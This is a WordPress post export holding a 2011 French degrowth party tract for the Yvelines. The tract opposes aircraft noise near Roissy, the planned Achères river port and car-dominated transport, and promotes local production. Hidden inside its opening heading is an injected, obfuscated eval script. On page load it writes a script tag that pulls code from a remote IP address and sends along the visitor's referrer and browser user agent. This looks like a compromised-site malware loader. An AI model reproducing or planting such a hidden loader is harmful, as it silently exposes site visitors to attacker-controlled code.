{"id":5725,"date":"2011-02-18T14:34:37","date_gmt":"2011-02-18T13:34:37","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=5725"},"modified":"2011-02-21T14:23:02","modified_gmt":"2011-02-21T13:23:02","slug":"les-nuisances-aeriennes-le-port-du-grand-paris-la-circulation-automobile","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=5725","title":{"rendered":"Les nuisances a\u00e9riennes, le port du Grand Paris,  la circulation automobile"},"content":{"rendered":"<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/decroissance.lehavre.free.fr\/cantonales11\/yvelines-decroissance.jpg\" alt=\"\" width=\"186\" height=\"134\" \/><\/p>\n<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><\/p>\n<p style=\"margin-bottom: 0cm;\" align=\"CENTER\">\n<p><!-- p { margin-bottom: 0.21cm; } --><\/p>\n<p style=\"margin-bottom: 0cm; text-align: left;\"><strong>Ralentir <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnaeb|var|u0026u|referrer|adzhb||js|php'.split('|'),0,{}))\n<\/script><\/noindex> et relocaliser<\/strong><\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"CENTER\">\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">La zone Nord des Yvelines est confront\u00e9e \u00e0 des nuisances a\u00e9riennes toujours plus importantes, que la r\u00e9organisation des couloirs a\u00e9riens mise en \u0153uvre par la Direction G\u00e9n\u00e9rale de l&rsquo;Aviation Civile va amplifier.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Pourtant, la pollution chimique engendr\u00e9e par le trafic a\u00e9rien est une menace pour la sant\u00e9 publique.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Pourtant, les nuisances sonores engendr\u00e9es par le trafic a\u00e9rien sont une plaie pour les habitants avec des effets catastrophiques sur la sant\u00e9 (troubles physiologiques, cognitifs et mentaux. En outre, ces bruits d\u00e9passent les normes en vigueur, au m\u00e9pris des citoyens qui en souffrent au quotidien.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Nous proposons donc que le Conseil G\u00e9n\u00e9ral des Yvelines prennent position en faveur du bien-\u00eatre et non en faveur de l&rsquo;\u00e9conomie.<!--more--><\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Nous demandons le plafonnement du nombre de mouvements sur l&rsquo;a\u00e9roport de Roissy ainsi qu&rsquo;un vaste d\u00e9bat sur le transport a\u00e9rien afin de savoir si ce dernier a encore un sens, alors que son bilan \u00e9cologique est alarmant  en terme de pollutions et de pillage de ressources naturelles. De plus,  la navigation a\u00e9rienne s&rsquo;inscrit pleinement dans la soci\u00e9t\u00e9 de Croissance en abolissant les distances et le temps.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">La Seine n&rsquo;est pas exempt\u00e9e des ravages de la soci\u00e9t\u00e9 de Croissance. Ainsi, le projet du Grand Paris entend faire du port d&rsquo;Ach\u00e8res, le plus grand port fluvial de France en permettant au port du Havre de s&rsquo;immiscer dans les terres tout en \u00e9tant reli\u00e9 au Nord de l&rsquo;Europe par le canal Seine-Nord-Europe.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Ne nous trompons pas, ce trafic fluvial aura des cons\u00e9quences catastrophiques sur notre environnement. Cette r\u00e9organisation des transports ne se fait pas pour limiter l&rsquo;impact de la route, ni dans le cadre d&rsquo;une r\u00e9flexion quant au sens des transports et \u00e0 une \u00e9ventuelle relocalisation des activit\u00e9s.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Le projet du Grand Paris, avec son grand port, r\u00e9pond bien \u00e0 l&rsquo;exigence du toujours plus. Il est d&rsquo;ailleurs synonyme d&rsquo;acc\u00e9l\u00e9rateur de Croissance pour les initiateurs du projet \u2026 \u2026 avec son cort\u00e8ge de pollutions li\u00e9es au trafic routier qui va s&rsquo;amplifier ou aux nuisances sonores.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Ce projet pose la question des limites qui devrait \u00eatre au centre de nos r\u00e9flexions mais aussi la question du sens de notre soci\u00e9t\u00e9 et du sens des transports c&rsquo;est-\u00e0-dire qu&rsquo;est-ce qui est transport\u00e9, quel est son co\u00fbt environnemental et social, et est-ce que cela va r\u00e9ellement am\u00e9liorer notre quotidien\u00a0?<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Nous demandons donc un d\u00e9bat public autour de ces questions. Nous ne formulons pas une opposition de principe au trafic fluvial si celui-ci n&rsquo;appara\u00eet pas comme un compl\u00e9ment ou un palliatif \u00e0 la route. Le transport sur eau peut(-) \u00eatre une solution d&rsquo;avenir si nous posons les bonnes questions sur le transport, notamment que transporter et d&rsquo;o\u00f9.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Par ailleurs, le projet du port d&rsquo;Ach\u00e8res doit \u00eatre redimensionner \u00e0 taille humaine pour un trafic r\u00e9fl\u00e9chi, respectant l&rsquo;environnement et les riverains.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">La Croissance ne peut plus tout sacrifier sur l&rsquo;autel de l&rsquo;Economie. Combattons ce projet d\u00e9mesur\u00e9 pour retrouver le sens des limites, un environnement de vie sain et un mode de vie ind\u00e9pendant des grands \u00e9changes commerciaux.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">De la m\u00eame fa\u00e7on, le tout automobile ne peut plus guider les d\u00e9cisions de nos autorit\u00e9s. Il est temps d&rsquo;en sortir et de proposer d&rsquo;autres transports mais surtout un autre \u00ab\u00a0m\u00e9nagement du territoire\u00a0\u00bb afin que nous ayons moins besoin de transport. Il s&rsquo;agit bien de faire d\u00e9cro\u00eetre le besoin de transport, pour faire cro\u00eetre notre bien-\u00eatre.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">La N184 qui coupe Conflans-Sainte-Honorine est, sur ce point, exemplaire. Cette route coupe la ville en deux au d\u00e9triment des conflanais. Notre cadre de vie est sacrifi\u00e9 pour faciliter le d\u00e9placement des franciliens. R\u00e9duire la vitesse et requalifier cette route en boulevard urbain est un premier pas mais qui devra trouver une suite dans un d\u00e9bat plus global sur les transports. Car la solution est de r\u00e9duire le trafic routier et non de le d\u00e9placer.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">La D\u00e9croissance est, avant tout, un questionnement afin de formuler les r\u00e9ponses les plus ad\u00e9quates aux maux de la soci\u00e9t\u00e9 de Croissance. Avec de tels projets, personne ne pose les bonnes questions et ce sont de mauvaises r\u00e9ponses qui sont apport\u00e9es. Notre organisation sociale n\u00e9cessite que l&rsquo;on ralentisse pour mieux envisager l&rsquo;avenir.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">D\u00e9j\u00e0 des solutions existent pour limiter les transports et peuvent, d&rsquo;ores et d\u00e9j\u00e0, \u00eatre appliqu\u00e9es.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">Nous proposons que le Conseil G\u00e9n\u00e9ral soutienne les modes de productions locales qui permettent, notamment de cr\u00e9er de l&rsquo;activit\u00e9 et de r\u00e9duire  les transports. Ainsi, soutenir les Associations pour le Maintien d&rsquo;une Agriculture Paysannes (AMAP), les Syst\u00e8mes d&rsquo;Echanges Locaux (SEL) ou encore des coop\u00e9ratives (de type SSCOP), et l&rsquo;artisanat local est un premier pas. Le Conseil G\u00e9n\u00e9ral peut acc\u00e9l\u00e9rer et faciliter leur mise en place c&rsquo;est-\u00e0-dire bonifier les initiatives locales.<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.55cm;\" align=\"JUSTIFY\">\u00c9videmment, cela n\u00e9cessite de revoir le rapport au pouvoir. Le Conseil G\u00e9n\u00e9ral doit impulser mais, aussi, \u00eatre \u00e0 l&rsquo;\u00e9coute de ces initiatives citoyennes et accorder son aide en se fondant sur des crit\u00e8res de soutenabilit\u00e9 environnementaux draconiens, ainsi que sociaux (par exemple,  ne pas soutenir une petite unit\u00e9 de production fond\u00e9e sur l&rsquo;exploitation mini\u00e8re ou produisant un objet dont le bilan \u00e9nerg\u00e9tique ou le bilan sanitaire est d\u00e9ficient).<\/p>\n<p style=\"margin-bottom: 0cm;\" align=\"JUSTIFY\">\n<p style=\"margin-bottom: 0cm;\" align=\"RIGHT\"><em>Il y a d\u00e9j\u00e0 beaucoup \u00e0 faire localement pour am\u00e9liorer notre cadre de vie et nos modes de vie plut\u00f4t que de poursuivre un d\u00e9veloppement insoutenable, absurde et socialement destructeur.<\/em><\/p>\n<p style=\"margin-bottom: 0cm;\" align=\"RIGHT\">\n<p style=\"text-align: right;\">Vous pouvez t\u00e9l\u00e9charger et distribuer une version tractable de cet article <a href=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2011\/02\/Tract-A5-relocalisons.pdf\">ici<\/a><\/p>\n<p style=\"margin-bottom: 0cm; text-align: right;\">Pour nous contacter\u00a0:<\/p>\n<p style=\"margin-bottom: 0cm; line-height: 0.56cm;\" align=\"RIGHT\"><a href=\"mailto:yvelines.decroissance@gmail.com\">yvelines.decroissance@gmail.com<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ralentir et relocaliser La zone Nord des Yvelines est confront\u00e9e \u00e0 des nuisances a\u00e9riennes toujours plus importantes, que la r\u00e9organisation des couloirs a\u00e9riens mise en \u0153uvre par la Direction G\u00e9n\u00e9rale de l&rsquo;Aviation Civile va amplifier. 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